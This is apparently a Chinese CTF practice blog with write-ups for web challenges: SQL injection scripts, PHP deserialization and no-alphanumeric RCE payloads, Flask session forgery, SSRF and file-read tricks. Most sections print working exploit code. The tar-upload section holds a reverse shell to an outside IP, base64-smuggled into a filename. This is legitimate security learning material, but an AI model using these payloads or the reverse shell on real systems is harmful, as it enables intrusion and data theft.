Bootstrap

web每日一练

每日一题

每天一题罢了。。

ctfshow内部赛签到

扫到备份文件

login.php

<?php
function check($arr){
if(preg_match("/load|and|or|\||\&|select|union|\'|=| |\\\|,|sleep|ascii/i",$arr)){
			echo "<script>alert('bad hacker!')</script>";
           die();   
       }
else{
	return true;
}
}
session_start();
include('db.php');
if(isset($_POST['e'])&&isset($_POST['p']))
{
$e=$_POST['e'];
$p=$_POST['p'];
$sql ="select username from test1 where email='$e' and password='$p'";
if(check($e)&&check($p)){
$result=mysqli_query($con,$sql);
$row = mysqli_fetch_assoc($result);
    if($row){ 
		$_SESSION['u']=$row['username'];
		header('location:user.php');
    }
	else {
		echo "<script>alert('Wrong username or password')</script>";
	}
}
}
?>

register.php

<?php
function check($arr){
if(preg_match("/load|and|\||\&| |\\\|sleep|ascii|if/i",$arr)){
			echo "<script>alert('bad hacker!')</script>";
           die();   
       }
else{
	return true;
}
}

include('db.php');
if(isset($_POST['e'])&&isset($_POST['u'])&&isset($_POST['p']))
{
$e=$_POST['e'];
$u=$_POST['u'];
$p=$_POST['p'];
$sql =
"insert into test1 set email = '$e',username = '$u',password = '$p'";
if(check($e)&&check($u)&&check($p)){
if(mysqli_query($con, $sql))
{
header('location:login.php');
}
}
}
?>

user.php

<html>
<body background="bg2.jpg">
</body>
</html>
<?php
include('db.php');
session_start();
error_reporting(0);
if($_SESSION['u']){
$username=$_SESSION['u'];

if (is_numeric($username))
	{	
		if(strlen($username)>10) {
			$username=substr($username,0,10);
		}
		echo "Hello $username,there's nothing here but dog food!";
	}
	else{
		echo "<script>alert('The username can only be a number.How did you get here?go out!!!');location.href='login.php';</script>";
}
}
else{
		echo "<script>alert('Login first!');location.href='login.php';</script>";
}
?>

通过注册界面的union select

$sql ="select username from test1 where email='$e' and password='$p'";
$sql ="insert into test1 set email = '$e', username = '$u',password = '$p'"

构造sql语句

insert into test1 set email='1',username=hex(hex(substr((select/**/flag/**/from/**/flag),1,1))),password='0'

脚本

import requests
import re

url1 = "http://7fc1279d-6a4b-4fca-968f-235322686f5b.challenge.ctf.show/register.php"
url2 = "http://7fc1279d-6a4b-4fca-968f-235322686f5b.challenge.ctf.show/login.php"
flag = ''
for i in range(1, 50):
    payload = "hex(hex(substr((select/**/flag/**/from/**/flag)from/**/" + str(i) + "/**/for/**/1))),/*"
    print(payload)
    s = requests.session()
    data1 = {
        'e': str(i + 30) + "',username=" + payload,
        'u': "*/#",
        'p': i + 30
    }
    # print(data1['e'])
    r1 = s.post(url1, data=data1)
    data2 = {
        'e': i + 30,
        'p': i + 30
    }
    r2 = s.post(url2, data=data2)
    t = r2.text
    real = re.findall("Hello (.*?),", t)[0]
    flag += real
    print(flag)

image-20240715172712301

image-20240715172731195

ctfshow{88827b24-2cd9-4be6-b15d-7eb1055f9c1c}

web15 Fishman

扫到备份文件

image-20240715192511338

member.php中发现漏洞点

image-20240715192603206

当查询返回的用户名为空且密码错误时,进行四次setcookie操作,当查询返回的用户名为不为空时,进行两次setcookie操作利用这个差异,就已经可以实现布尔盲注了。

# encoding=utf-8
import requests

url = "https://6209bf27-efaa-4086-b619-a9552f4450f6.challenge.ctf.show/admin/"


def tamper(payload):
    payload = payload.lower()
    payload = payload.replace('u', '\\u0075')
    payload = payload.replace('\'', '\\u0027')
    payload = payload.replace('o', '\\u006f')
    payload = payload.replace('i', '\\u0069')
    payload = payload.replace('"', '\\u0022')
    payload = payload.replace(' ', '\\u0020')
    payload = payload.replace('s', '\\u0073')
    payload = payload.replace('#', '\\u0023')
    payload = payload.replace('>', '\\u003e')
    payload = payload.replace('<', '\\u003c')
    payload = payload.replace('-', '\\u002d')
    payload = payload.replace('=', '\\u003d')
    payload = payload.replace('f1a9', 'F1a9')
    payload = payload.replace('f1', 'F1')
    return payload


# get database length
def databaseName_len():
    print("start get database name length...")
    for l in range(0, 45):
        payload = "1' or (length(database())=" + str(l + 1) + ")#"
        payload = tamper(payload)
        tmpCookie = 'islogin=1;login_data={"admin_user":"%s","admin_pass":65}' % payload
        headers = {'cookie': tmpCookie}
        r = requests.get(url, headers=headers)
        myHeaders = str(r.raw.headers)
        if ((myHeaders.count("login_data") == 1)):
            print('get db length = ' + str(l).lower())
            break


# get content
def get_databaseName():
    flag = ''
    for j in range(0, 15):
        for c in range(0x20, 0x7f):
            if chr(c) == '\'' or chr(c) == ';' or chr(c) == '\\' or chr(c) == '+':
                continue
            else:
                payload = "1' or (select (database()) between '" + flag + chr(c) + "' and '" + chr(126) + "')#"
            # print(payload)
            payload = tamper(payload)
            tmpCookie = 'islogin=1;login_data={"admin_user":"%s","admin_pass":65}' % payload
            headers = {'cookie': tmpCookie}
            r = requests.get(url, headers=headers)
            myHeaders = str(r.raw.headers)
            if ((myHeaders.count("login_data") == 2)):
                flag += chr(c - 1)
                print('databasename = ' + flag.lower())
                break


# get content
def get_tableName():
    flag = ''
    for j in range(0, 30):  # blind inject
        for c in range(0x20, 0x7f):
            if chr(c) == '\'' or chr(c) == ';' or chr(c) == '\\' or chr(c) == '+':
                continue
            else:
                payload = "1' or (select (select table_name from information_schema.tables where table_schema=database() limit 3,1) between '" + flag + chr(
                    c) + "' and '" + chr(126) + "')#"
            # print(payload)
            payload = tamper(payload)
            tmpCookie = 'islogin=1;login_data={"admin_user":"%s","admin_pass":65}' % payload
            headers = {'cookie': tmpCookie}
            r = requests.get(url, headers=headers)
            myHeaders = str(r.raw.headers)
            if ((myHeaders.count("login_data") == 2)):
                flag += chr(c - 1)
                print('tablename = ' + flag.lower())
                break


# get content
def get_ColumnName():
    flag = ''
    for j in range(0, 10):  # blind inject
        for c in range(0x20, 0x7f):
            if chr(c) == '\'' or chr(c) == ';' or chr(c) == '\\' or chr(c) == '+':
                continue
            else:
                payload = "1' or (select (select column_name from information_schema.columns where table_name='FL2333G' limit 0,1) between '" + flag + chr(
                    c) + "' and '" + chr(126) + "')#"
            # print(payload)
            payload = tamper(payload)
            tmpCookie = 'islogin=1;login_data={"admin_user":"%s","admin_pass":65}' % payload
            headers = {'cookie': tmpCookie}
            r = requests.get(url, headers=headers)
            myHeaders = str(r.raw.headers)
            if ((myHeaders.count("login_data") == 2)):
                flag += chr(c - 1)
                print('column name = ' + flag.lower())
                break


# get content
def get_value():
    flag = ''
    for j in range(0, 50):  # blind inject
        for c in range(0x20, 0x7f):
            if chr(c) == '\'' or chr(c) == ';' or chr(c) == '\\' or chr(c) == '+':
                continue
            else:
                payload = "1' or (select (select FLLLLLAG from FL2333G) between '" + flag + chr(c) + "' and '" + chr(
                    126) + "')#"
            # print(payload)
            payload = tamper(payload)
            tmpCookie = 'islogin=1;login_data={"admin_user":"%s","admin_pass":65}' % payload
            headers = {'cookie': tmpCookie}
            r = requests.get(url, headers=headers)
            myHeaders = str(r.raw.headers)
            if ((myHeaders.count("login_data") == 2)):
                flag += chr(c - 1)
                print('flag = ' + flag.lower())
                break


print("start database sql injection...")
# databaseName_len()
# get_databaseName()
# get_tableName()
# get_ColumnName()
get_value()

image-20240715204411268

[CISCN 2023 华北]ez_date

源码

<?php
error_reporting(0);
highlight_file(__FILE__);
class date{
    public $a;
    public $b;
    public $file;
    public function __wakeup()
    {
        if(is_array($this->a)||is_array($this->b)){
            die('no array');
        }
        if( ($this->a !== $this->b) && (md5($this->a) === md5($this->b)) && (sha1($this->a)=== sha1($this->b)) ){
            $content=date($this->file);
            $uuid=uniqid().'.txt';
            file_put_contents($uuid,$content);
            $data=preg_replace('/((\s)*(\n)+(\s)*)/i','',file_get_contents($uuid));
            echo file_get_contents($data);
        }
        else{
            die();
        }
    }
}

unserialize(base64_decode($_GET['code']));

在反序列化的时候会自动触发这个类中的wakeup方法,看见关键代码

if( ($this->a !== $this->b) && (md5($this->a) === md5($this->b)) && (sha1($this->a)=== sha1($this->b)) )

测试代码

<?php
if (sha1(12) === sha1('12') && md5(1) === md5('1')){
    echo '===';
}
else{
    echo '!=';
}
?>

image-20240717091858101

正则

$data=preg_replace('/((\s)*(\n)+(\s)*)/i','',file_get_contents($uuid));
(\s)*: 匹配零个或者多个空白字符 空格 制表符 换页符
(\n)+: 匹配一个或多个换行符
/i : 匹配时不区分大小写
把上面匹配到的内容全部置换为空

还有两个点

  • date函数可以转义

  • file_put_contents() 是 PHP 中的一个内置函数,用于写入数据到一个文件,或者创建一个新的文件。可以一次写入全部内容,而不需要打开、写入和关闭文件的多个步骤。

    file_put_contents($uuid,$content);
    
    • $uuid 参数会被用作文件名。例如,如果 $uuid 的值是 'abc123',那么数据就会被写入到名为 'abc123' 的文件中。
    • $content 参数是你想要写入文件的数据。它可以是任何可以被转换为字符串的内容。

因此得到最终payload

<?php
error_reporting(0);
highlight_file(__FILE__);
class date{
    public $a;
    public $b;
    public $file;
    public function __wakeup()
    {
        if(is_array($this->a)||is_array($this->b)){
            die('no array');
        }
        if( ($this->a !== $this->b) && (md5($this->a) === md5($this->b)) && (sha1($this->a)=== sha1($this->b)) ){
            $content=date($this->file);
            $uuid=uniqid().'.txt';
            file_put_contents($uuid,$content);
            $data=preg_replace('/((\s)*(\n)+(\s)*)/i','',file_get_contents($uuid));
            echo file_get_contents($data);
        }
        else{
            die();
        }
    }
}

$yiyi = new date();
$yiyi -> a = 1;
$yiyi -> b = '1';
$yiyi -> file = '/f\l\a\g';

echo base64_encode(serialize($yiyi));

image-20240717092802571

[CISCN 2023 华北]pysym

随便传一个看看

image-20240717093053044

查看源码

from flask import Flask, render_template, request, send_from_directory
import os
import random
import string
app = Flask(__name__)
app.config['UPLOAD_FOLDER']='uploads'
@app.route('/', methods=['GET'])
def index():
    return render_template('index.html')
@app.route('/',methods=['POST'])
def POST():
    if 'file' not in request.files:
        return 'No file uploaded.'
    file = request.files['file']
    if file.content_length > 10240:
        return 'file too lager'
    path = ''.join(random.choices(string.hexdigits, k=16))
    directory = os.path.join(app.config['UPLOAD_FOLDER'], path)
    os.makedirs(directory, mode=0o755, exist_ok=True)
    savepath=os.path.join(directory, file.filename)
    file.save(savepath)
    try:
     os.system('tar --absolute-names  -xvf {} -C {}'.format(savepath,directory))
    except:
        return 'something wrong in extracting'

    links = []
    for root, dirs, files in os.walk(directory):
        for name in files:
            extractedfile =os.path.join(root, name)
            if os.path.islink(extractedfile):
                os.remove(extractedfile)
                return 'no symlink'
            if  os.path.isdir(path) :
                return 'no directory'
            links.append(extractedfile)
    return render_template('index.html',links=links)
@app.route("/uploads/<path:path>",methods=['GET'])
def download(path):
    filepath = os.path.join(app.config['UPLOAD_FOLDER'], path)
    if not os.path.isfile(filepath):
        return '404', 404
    return send_from_directory(app.config['UPLOAD_FOLDER'], path)
if __name__ == '__main__':
    app.run(host='0.0.0.0',port=1337)

上传tar

image-20240717094033026

根据源码,只有限制长度,上传后调用系统命令对其进行,由于没有文件名的限制

def POST():
    if 'file' not in request.files:
        return 'No file uploaded.'
    file = request.files['file']
    if file.content_length > 10240:
        return 'file too lager'
    path = ''.join(random.choices(string.hexdigits, k=16))
    directory = os.path.join(app.config['UPLOAD_FOLDER'], path)
    os.makedirs(directory, mode=0o755, exist_ok=True)
    savepath=os.path.join(directory, file.filename)
    file.save(savepath)
    try:
     os.system('tar --absolute-names  -xvf {} -C {}'.format(savepath,directory))
    except:
        return 'something wrong in extracting'

我们可以根据这个特性进行RCE

image-20240717095108731

没有回显,考虑反弹shell

image-20240717105730290

image-20240717110137582

bash >& /dev/tcp/101.37.27.18/4444 0>&1
test.tar || echo  YmFzaCA+JiAvZGV2L3RjcC8xMDEuMzcuMjcuMTgvNDQ0NCAwPiYx| base64 -d | bash ||

image-20240717110054704

[CISCN 2019华东南]Web4

文件读取

image-20240717110852604

尝试读取/etc/passwd

image-20240717110935262

尝试读取flag文件

image-20240717111006796

常见linux配置文件

/etc/passwd用来判断读取漏洞的存在
/etc/environment是环境变量配置文件之一。环境变量可能存在大量目录信息的泄露,甚至可能出现secret key泄露的情况。
/etc/hostname/etc/hostname表示主机名。
/etc/issue指明系统版本。
/proc目录
/proc/[pid]查看进程
/proc/self查看当前进程
/proc/self/cmdline当前进程对应的终端命令
/proc/self/pwd程序运行目录
/proc/self/环境变量
/sys/class/net/eth0/address mac地址保存位

查看当前进程对应的终端命令

image-20240717111305488

直接读

image-20240717111345242

# encoding:utf-8
import re
import random
import uuid
import urllib
from flask import Flask, session, request

app = Flask(__name__)
random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random() * 233)
app.debug = True

@app.route('/')
def index():
    session['username'] = 'www-data'
    return 'Hello World! Read somethings'

@app.route('/read')
def read():
    try:
        url = request.args.get('url')
        if re.search('^file.*|flag', url, re.IGNORECASE):
            return 'No Hack'
        with urllib.request.urlopen(url) as res:
            return res.read().decode('utf-8')
    except Exception as ex:
        print(str(ex))
        return 'no response'

@app.route('/flag')
def flag():
    if session.get('username') == 'fuck':
        return open('/flag.txt').read()
    else:
        return 'Access denied'

if __name__ == '__main__':
    app.run(debug=True, host="0.0.0.0")

经典session伪造

image-20240717111948701

eyJ1c2VybmFtZSI6eyIgYiI6ImQzZDNMV1JoZEdFPSJ9fQ.Zpc0_w.WMwIMXtSU15Mlrk3Lwa0K8ZD810

分为三个部分

第一部分是两段base64,使用脚本将www替换成fuck即可,中间是时间戳,最后面是安全签名

image-20240717112310264

{"username":{" b":"d3d3LWRhdGE="}}
{"username":{" b":"www-data"}}

读mac地址

image-20240717113214241

import random
random.seed(0x0242ac02521c)
print(str(random.random()*233))

python2运行

┌──(root㉿kali)-[~/yiyi]
└─# python2 test.py 
38.8837558332

这里有坑,python2和3跑出来是不一样的,容器中用的是2,所以在这里我们也只能用2

image-20240717123413345

拉到flask_session_cookie_manager3.py跑

C:\Users\31702\Desktop\yiyi\CTF\web\FLASK框架>python flask_session_cookie_manager3.py encode -s 38.8837558332 -t "{'username':'fuck'}"
eyJ1c2VybmFtZSI6ImZ1Y2sifQ.ZpdGqA.dt2f0F84oMxkjl0sQQK3_d8E3Xg

替换后获得flag

image-20240717122643018

附:Flask Session Cookie 管理器使用指南

使用说明

  • 使用 flask_session_cookie_manager3.py 与 Python 3,flask_session_cookie_manager2.py 与 Python 2。

使用方法:

flask_session_cookie_manager{2,3}.py [-h] {encode,decode} ...

Flask Session Cookie 解码/编码工具

位置参数:

  • {encode,decode}: 子命令帮助
    • encode: 编码
    • decode: 解码

可选参数:

  • -h--help: 显示帮助信息并退出

编码

flask_session_cookie_manager{2,3}.py encode [-h] -s <string> -t <string>

可选参数:

  • -h--help: 显示帮助信息并退出
  • -s <string>--secret-key <string>: 密钥
  • -t <string>--cookie-structure <string>: Session Cookie 结构

解码

flask_session_cookie_manager{2,3}.py decode [-h] [-s <string>] -c <string>

可选参数:

  • -h--help: 显示帮助信息并退出
  • -s <string>--secret-key <string>: 密钥
  • -c <string>--cookie-value <string>: Session Cookie 值

示例

编码

$ python{2,3} flask_session_cookie_manager{2,3}.py encode -s '.{y]tR&sp&77RdO~u3@XAh#TalD@Oh~yOF_51H(QV};K|ghT^d' -t '{"number":"326410031505","username":"admin"}'
eyJudW1iZXIiOnsiIGIiOiJNekkyTkRFd01ETXhOVEExIn0sInVzZXJuYW1lIjp7IiBiIjoiWVdSdGFXND0ifX0.DE2iRA.ig5KSlnmsDH4uhDpmsFRPupB5Vw

注意: Session Cookie 结构必须是一个有效的 Python 字典

解码

使用密钥:

$ python{2,3} flask_session_cookie_manager{2,3}.py decode -c 'eyJudW1iZXIiOnsiIGIiOiJNekkyTkRFd01ETXhOVEExIn0sInVzZXJuYW1lIjp7IiBiIjoiWVdSdGFXND0ifX0.DE2iRA.ig5KSlnmsDH4uhDpmsFRPupB5Vw' -s '.{y]tR&sp&77RdO~u3@XAh#TalD@Oh~yOF_51H(QV};K|ghT^d'
{u'username': 'admin', u'number': '326410031505'}

不使用密钥 (输出格式较差):

$ python{2,3} flask_session_cookie_manager{2,3}.py decode -c 'eyJudW1iZXIiOnsiIGIiOiJNekkyTkRFd01ETXhOVEExIn0sInVzZXJuYW1lIjp7IiBiIjoiWVdSdGFXND0ifX0.DE2iRA.ig5KSlnmsDH4uhDpmsFRPupB5Vw'
{"number":{" b":"MzI2NDEwMDMxNTA1"},"username":{" b":"YWRtaW4="}}

[FSCTF 2023]签到plus

dirsearch扫到shell.php,访问发现是php info

image-20240717135734930

PHP<=7.4.21 Development Server源码泄露漏洞_php7.4.21漏洞-CSDN博客

关闭bp的Content-Length功能

image-20240717140053098

请求包只留这几句即可

image-20240717140347431

保存至txt查看

HTTP/0.9 200 OK
Host: node4.anna.nssctf.cn:28393
Date: Wed, 17 Jul 2024 06:03:28 GMT
Connection: close
Content-Length: 443

<?php
phpinfo();
$😀="a";
$😁="b";
$😂="c";
$🤣="d";
$😃="e";
$😄="f";
$😅="g";
$😆="h";
$😉="i";
$😊="j";
$😋="k";
$😎="l";
$😍="m";
$😘="n";
$😗="o";
$😙="p";
$😚="q";
$🙂="r";
$🤗="s";
$🤩="t";
$🤔="u";
$🤨="v";
$😐="w";
$😑="x";
$😶="y";
$🙄="z";

$😭 = $😙. $😀. $🤗. $🤗. $🤩. $😆. $🙂. $🤔;

if (isset($_GET['👽🦐'])) {
    eval($😭($_GET['👽🦐']));
};

?>

直接命令执行即可

image-20240717140821697

image-20240717140853901

[HNCTF 2022 Week1]Challenge__rce

get传参hint得到源码

<?php
error_reporting(0);
if (isset($_GET['hint'])) {
    highlight_file(__FILE__);
}
if (isset($_POST['rce'])) {
    $rce = $_POST['rce'];
    if (strlen($rce) <= 120) {
        if (is_string($rce)) {
            if (!preg_match("/[!@#%^&*:'\-<?>\"\/|`a-zA-Z~\\\\]/", $rce)) {
                eval($rce);
            } else {
                echo("Are you hack me?");
            }
        } else {
            echo "I want string!";
        }
    } else {
        echo "too long!";
    }
}

一道无参RCE,发现|和^被过滤,不能用异或

查看所有未被过滤的字符

import re

regex = r"[/!@#%^&*:'\-<?>\"\/|`a-zA-Z~\\\\]"

printable_chars = range(32, 127)

for char in printable_chars:
  if not re.search(regex, chr(char)):
    print(chr(char), end=" ")

image-20240717141939712

考虑使用自增

首先,在PHP中,如果强制连接数组和字符串的话,数组将被转换成字符串,其值为Array

$_=[].'';
print_r($_); //Array

基础语法

<?php
@$_ = [].'';//Array
$_ = $_[0];//A
$___= '_';
$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;//O
$___ = $_;//O
$_++;//P
$__=$_;//P
$__.=$___;//PO
$_++;$_++;$_++;
$__.=$_;//POS
$_++;
$__.=$_;//POST
echo $__;

$$__['_']($$__['__']);
//${$__}最终解析为$_POST
//['_']和['__']是传入的值

rce = $_=%5B%5D.'';$_%20=%20$_%5B0%5D;$___=%20'_';$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$___%20=%20$_;$_++;$__=$_;$__.=$___;$_++;$_++;$_++;$__.=$_;$_++;$__.=$_;echo%20$__;$$__%5B'_'%5D($$__%5B'__'%5D);&_=system&__=ls
//过一遍url编码,并传入system和ls两个参数
?>

image-20240717150716468

得尝试缩减,使用CHr

image-20240717151653606

<?php
$_=[]._;//Array
$__=$_[1];//r
$_=$_[0];//A
$_++;//B
$_1=++$_;//C
$_++;//D
$_++;//E
$_++;//F
$_++;//G
$_=$_1.++$_.$__; //CHr
// echo $_(71);
$_=_.$_(71).$_(69).$_(84); //利用CHr拼接 让$_=_GET
$$_[1]($$_[2]); //$_GET[1]($_GET[2])

url编码

image-20240717152317171

然后就。。。

image-20240717152446580

image-20240717152503567

[CISCN 2023 西南]do_you_like_read

解法一:

image-20240718092743965

发现存在后面并且有与之对应的动态链接库文件

image-20240718092819389

对着后门文件改路径即可

image-20240718093332120/var/www目录无回显可以考虑app目录

http://node4.anna.nssctf.cn:28157/bootstrap/test/bypass_disablefunc.php?cmd=env&outpath=/tmp/xx&sopath=/app/bootstrap/test/bypass_disablefunc_x64.so

image-20240718093403071

解法二:

将php等后缀改成jpg结尾

image-20240718093739882

image-20240718093830548

根据源码中的路径直接尝试访问webshell

image-20240718093950170

image-20240718094058734

image-20240718094128030

解法三:

发现可能存在sql注入的漏洞点

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

直接跑sqlmap

image-20240718094549834

–os-shell直接看环境变量即可

image-20240718094644388

[强网杯 2019]随便注

联合查询的时候发现存在过滤

image-20240718102729369

  • 绕过姿势1:十六进制编码绕过
';SeT @a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;
  • 绕过姿势2:使用handler函数替换
-- 打开一个表的handler
HANDLER table_name OPEN;

-- 读取下一个索引条目
HANDLER table_name READ NEXT;

-- 关闭handler
HANDLER table_name CLOSE;

payload

1';handler `1919810931114514` open;handler `1919810931114514` read next;

[鹤城杯 2021]EasyP

源码

<?php
include 'utils.php';

if (isset($_POST['guess'])) {
    $guess = (string) $_POST['guess'];
    if ($guess === $secret) {
        $message = 'Congratulations! The flag is: ' . $flag;
    } else {
        $message = 'Wrong. Try Again';
    }
}

if (preg_match('/utils\.php\/*$/i', $_SERVER['PHP_SELF'])) {
    exit("hacker :)");
}

if (preg_match('/show_source/', $_SERVER['REQUEST_URI'])){
    exit("hacker :)");
}

if (isset($_GET['show_source'])) {
    highlight_file(basename($_SERVER['PHP_SELF']));
    exit();
}else{
    show_source(__FILE__);
}
?> 

包含utils.php文件,尝试请求

但是有waf

if (preg_match('/utils\.php\/*$/i', $_SERVER['PHP_SELF'])) {
    exit("hacker :)");
}

使用%0a绕过,%a0 是 URL 编码中的一个特殊字符,代表一个非打印字符(No-Break Space)。在 PHP 中,非打印字符通常会被忽略。所以,/utils.php/%a0 实际上被 PHP 解析为 /utils.php/。

%a0的作用解析参考别的师傅

image-20240718111306192

因此构造出payload

/index.php/utils.php/%a0

还有一层waf

if (preg_match('/show_source/', $_SERVER['REQUEST_URI'])){
    exit("hacker :)");
}

这个比较简单

show[source或者show.source或者show+source绕过

最终payload

/index.php/utils.php/%a0?show[source

image-20240718111508372

web3_莫负婵娟

皎洁一年惟此夜,莫教容易负婵娟

hint:环境变量 +linux字符串截取 + 通配符

fuzz一下

image-20240720135211671

f12看到提示

<!--注意:正式上线请删除注释内容! -->
<!-- username yu22x -->
<!-- SELECT * FROM users where username like binary('$username') and password like binary('$password')-->

like有两个通配符%_,这里没有过滤_

% 表示零个或多个字符的任意字符串
_(下划线)表示任何单个字符

尝试使用通配符判断位数

image-20240720140025488

根据这个逻辑就可以逐个爆破密码了

import requests
from urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
a="0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
url = 'https://cf189981-52d3-496b-9660-865ce7b82d8e.challenge.ctf.show/login.php'

pwd = ''
for i in range(32):
    print('i = '+str(i+1),end='\t')
    for j in a:
        password = pwd + j + (31 - i) * '_'
        data = {'username':'yu22x','password':password}
        r = requests.post(url,data=data,verify=False)
        if 'wrong' not in r.text:
             pwd += j
             print(pwd)
             break

image-20240720143555477

进去后就是个命令执行

image-20240720143618297

小写字母全部被过滤,想到可以用环境便利PATH进行命令构造,用自己的vps测试一下

image-20240720144324173

ls

0;${PATH:5:1}${PATH:11:1}

image-20240720144530125

没有c t,可以用nl来读取

0;${PATH:14:1}${PATH:5:1} ????.???

image-20240720144642055

web2_故人心

三五夜中新月色,二千里外故人心

存在一个robots.txt

<?php
error_reporting(0);
highlight_file(__FILE__);
$a=$_GET['a'];
$b=$_GET['b'];
$c=$_GET['c'];
$url[1]=$_POST['url'];
if(is_numeric($a) and strlen($a)<7 and $a!=0 and $a**2==0){
    $d = ($b==hash("md2", $b)) && ($c==hash("md2",hash("md2", $c)));
    if($d){
             highlight_file('hint.php');
             if(filter_var($url[1],FILTER_VALIDATE_URL)){
                $host=parse_url($url[1]);
                print_r($host); 
                if(preg_match('/ctfshow\.com$/',$host['host'])){
                    print_r(file_get_contents($url[1]));
                }else{
                    echo '差点点就成功了!';
                }
            }else{
                echo 'please give me url!!!';
            }     
    }else{
        echo '想一想md5碰撞原理吧?!';
    }
}else{
    echo '第一个都过不了还想要flag呀?!';
}
第一个都过不了还想要flag呀?!

访问hint、

Is it particularly difficult to break MD2?!
I'll tell you quietly that I saw the payoad of the author.
But the numbers are not clear.have fun~~~~
xxxxx024452    hash("md2",$b)
xxxxxx48399    hash("md2",hash("md2",$b))

看样子是个爆破

第一关

if(is_numeric($a) and strlen($a)<7 and $a!=0 and $a**2==0){

php小数点后超过161位做平方运算时会被截断,我们可以用科学计数法来代替,即 1e-162

第二关

<?php
for ($i=100;$i<=999;$i++){
    $b = "0e".$i."024452";
    if($b==hash("md2", $b)){
        echo $b;
    }
}
//b=0e652024452
echo "\n";
for ($i=1000;$i<=9999;$i++){
    $c = "0e".$i."48399";
    if($c==hash("md2",hash("md2", $c))){
        echo $c;
    }
}
//c=0e603448399

image-20240720145353847

第三关 post传参url

file_get_contents使用不存在的协议名导致目录穿越,实现SSRFphp源码中,在向目标请求时先会判断使用的协议。如果协议无法识别,就会认为它是个目录。题目中要求url中存在 ctfshow.com,又要构造符合url格式

我们这边随便来一个yiyi协议,又因为

if(preg_match('/ctfshow\.com$/',$host['host'])){
                    print_r(file_get_contents($url[1]));

所以可以构造如下payload

url=yiyi://ctfshow.com/../../../../../../fl0g.txt

image-20240720145905683

[NISACTF 2022]join-us

fuzz

image-20240721125727165

尝试报错注入,and被过滤

1' and extractvalue(1,concat(0x7e,(select user()),0x7e))#

用||代替and

    1'||extractvalue(1,concat(0x7e,(select user()),0x7e))#

回显

XPATH syntax error: '~root@localhost~'

就可以编写脚本了,几个点,and过滤用||代替,columns禁用,使用join做合并,mid截取长度限制

import requests

url = 'http://node5.anna.nssctf.cn:21164/dl.php'
def test(url):
    data = {
        'tt':"1'||extractvalue(1,concat(0x7e,(select user()),0x7e))#"
    }
    re = requests.post(url,data=data)
    print(re.text)
def database(url):
    data = {
        'tt':"1' || (select * from a)#"
    }
    re = requests.post(url,data=data)
    print(re.text)
def table(url):
    data = {
        'tt':"-1' || extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema like 'sqlsql')))#"
    }
    re = requests.post(url,data=data)
    print(re.text)
def column1(url):
    data = {
        'tt':"-1' || extractvalue(1,concat(0x5c,(select * from (select*from Fal_flag a join Fal_flag b)c)))#"#id
    }
    re = requests.post(url,data=data)
    print(re.text)
def column2(url):
    data = {
        'tt':"-1' || extractvalue(1,concat(0x5c,(select * from (select*from Fal_flag a join output b)c)))#"#data
    }
    re = requests.post(url,data=data)
    print(re.text)
def flag1(url):
    data = {
        'tt':"-1' || extractvalue(1,mid(concat(0x5c,(select data from output)),30,20))#"#data
    }
    re = requests.post(url,data=data)
    print(re.text)


if __name__ == "__main__":
    # test(url)
    # database(url)
    # table(url)
    # column1(url)
    # column2(url)
    flag1(url)
    # NSSCTF{68f27707-1003-413e-bd2a-4f5193963b20}

[MoeCTF 2022]ezphp

变量覆盖

源码

<?php

highlight_file('source.txt');
echo "<br><br>";

$flag = 'xxxxxxxx';
$giveme = 'can can need flag!';
$getout = 'No! flag.Try again. Come on!';
if(!isset($_GET['flag']) && !isset($_POST['flag'])){
    exit($giveme);
}

if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
    exit($getout);
}

foreach ($_POST as $key => $value) {
    $$key = $value;
}

foreach ($_GET as $key => $value) {
    $$key = $$value;
}

echo 'the flag is : ' . $flag;

?>

直接打

http://node5.anna.nssctf.cn:26770/?a=flag&flag=a

image-20240721133554786

[第五空间 2021]EasyCleanup

源码

<?php 
if(!isset($_GET['mode'])){ 
    highlight_file(__file__); 
}else if($_GET['mode'] == "eval"){ 
    $shell = isset($_GET['shell']) ? $_GET['shell'] : 'phpinfo();'; 
    if(strlen($shell) > 15 | filter($shell) | checkNums($shell)) exit("hacker"); 
    eval($shell); 
} 


if(isset($_GET['file'])){ 
    if(strlen($_GET['file']) > 15 | filter($_GET['file'])) exit("hacker"); 
    include $_GET['file']; 
} 


function filter($var){ 
    $banned = ["while", "for", "\$_", "include", "env", "require", "?", ":", "^", "+", "-", "%", "*", "`"]; 

    foreach($banned as $ban){ 
        if(strstr($var, $ban)) return True; 
    } 

    return False; 
} 

function checkNums($var){ 
    $alphanum = 'abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ'; 
    $cnt = 0; 
    for($i = 0; $i < strlen($alphanum); $i++){ 
        for($j = 0; $j < strlen($var); $j++){ 
            if($var[$j] == $alphanum[$i]){ 
                $cnt += 1; 
                if($cnt > 8) return True; 
            } 
        } 
    } 
    return False; 
} 
?>

当 mode=eval 时,若 shell 无值,则执行phpinfo();,若有值则经过滤后执行shell值的代码;file有值时经过滤后进行文件包含。所以攻击点有两个,一个是变量 shell 的 RCE ,一个是 file 的文件包含,由于 shell 变量需要经过if(strlen($shell) > 15 | filter($shell) | checkNums($shell)) exit("hacker"); ,限制太多,想要通过 RCE 得到 flag 几乎无从下手

image-20240721134646129

